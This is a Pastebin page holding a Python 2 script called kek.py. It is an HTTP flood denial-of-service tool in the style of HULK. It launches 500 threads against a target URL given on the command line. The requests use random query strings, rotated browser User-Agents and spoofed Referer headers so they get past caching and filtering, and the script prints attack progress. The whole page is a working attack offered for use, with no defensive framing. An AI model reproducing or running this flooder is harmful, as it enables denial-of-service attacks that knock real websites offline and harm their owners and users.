Advertisement
Guest User

lelele

a guest
Oct 7th, 2015
156
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.87 KB | None | 0 0
  1. import urllib2
  2. import sys
  3. import threading
  4. import random
  5. import re
  6.  
  7. #global params
  8. url=''
  9. host=''
  10. headers_useragents=[]
  11. headers_referers=[]
  12. request_counter=0
  13. flag=0
  14. safe=0
  15.  
  16. def inc_counter():
  17.     global request_counter
  18.     request_counter+=1
  19.  
  20. def set_flag(val):
  21.     global flag
  22.     flag=val
  23.  
  24. def set_safe():
  25.     global safe
  26.     safe=1
  27.    
  28. # generates a user agent array
  29. def useragent_list():
  30.     global headers_useragents
  31.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  32.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  33.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  34.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  35.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  36.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  37.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  38.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  39.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  40.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  41.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  42.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  43.     return(headers_useragents)
  44.  
  45. # generates a referer array
  46. def referer_list():
  47.     global headers_referers
  48.     headers_referers.append('http://www.google.com/?q=')
  49.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  50.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  51.     headers_referers.append('http://' + host + '/')
  52.     return(headers_referers)
  53.    
  54. #builds random ascii string
  55. def buildblock(size):
  56.     out_str = ''
  57.     for i in range(0, size):
  58.         a = random.randint(65, 90)
  59.         out_str += chr(a)
  60.     return(out_str)
  61.  
  62. def usage():
  63.         print ' _        _    _____ _                 _           '
  64.         print '| | _____| | _|  ___| | ___   ___   __| | ___ _ __ '
  65.         print '| |/ / _ \ |/ / |_  | |/ _ \ / _ \ / _` |/ _ \ .__|'
  66.         print '|   <  __/   <|  _| | | (_) | (_) | (_| |  __/ |   '
  67.         print '|_|\_\___|_|\_\_|   |_|\___/ \___/ \__,_|\___|_|   '
  68.     print '---------------------------------------------------'
  69.     print 'USAGE: python kek.py <url>'
  70.     print '---------------------------------------------------'
  71.  
  72.    
  73. #http request
  74. def httpcall(url):
  75.     useragent_list()
  76.     referer_list()
  77.     code=0
  78.     if url.count("?")>0:
  79.         param_joiner="&"
  80.     else:
  81.         param_joiner="?"
  82.     request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
  83.     request.add_header('User-Agent', random.choice(headers_useragents))
  84.     request.add_header('Cache-Control', 'no-cache')
  85.     request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
  86.     request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
  87.     request.add_header('Keep-Alive', random.randint(110,120))
  88.     request.add_header('Connection', 'keep-alive')
  89.     request.add_header('Host',host)
  90.     try:
  91.             urllib2.urlopen(request)
  92.     except urllib2.HTTPError, e:
  93.             #print e.code
  94.             set_flag(1)
  95.             print '[i] Attacking host'
  96.             code=500
  97.     except urllib2.URLError, e:
  98.             #print e.reason
  99.             sys.exit()
  100.     else:
  101.             inc_counter()
  102.             urllib2.urlopen(request)
  103.     return(code)       
  104.  
  105.    
  106. #http caller thread
  107. class HTTPThread(threading.Thread):
  108.     def run(self):
  109.         try:
  110.             while flag<2:
  111.                 code=httpcall(url)
  112.                 if (code==500) & (safe==1):
  113.                     set_flag(2)
  114.         except Exception, ex:
  115.             pass
  116.  
  117. # monitors http threads and counts requests
  118. class MonitorThread(threading.Thread):
  119.     def run(self):
  120.         previous=request_counter
  121.         while flag==0:
  122.             if (previous+100<request_counter) & (previous<>request_counter):
  123.                 print "%d Requests Sent" % (request_counter)
  124.                 previous=request_counter
  125.         if flag==2:
  126.             print "Attack finished"
  127.  
  128. #execute
  129. if len(sys.argv) < 2:
  130.     usage()
  131.     sys.exit()
  132. else:
  133.     if sys.argv[1]=="help":
  134.         usage()
  135.         sys.exit()
  136.     else:
  137.         print "Attack started"
  138.         if len(sys.argv)== 3:
  139.             if sys.argv[2]=="safe":
  140.                 set_safe()
  141.         url = sys.argv[1]
  142.         if url.count("/")==2:
  143.             url = url + "/"
  144.         m = re.search('http\://([^/]*)/?.*', url)
  145.         host = m.group(1)
  146.         for i in range(500):
  147.             t = HTTPThread()
  148.             t.start()
  149.         t = MonitorThread()
  150.         t.start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement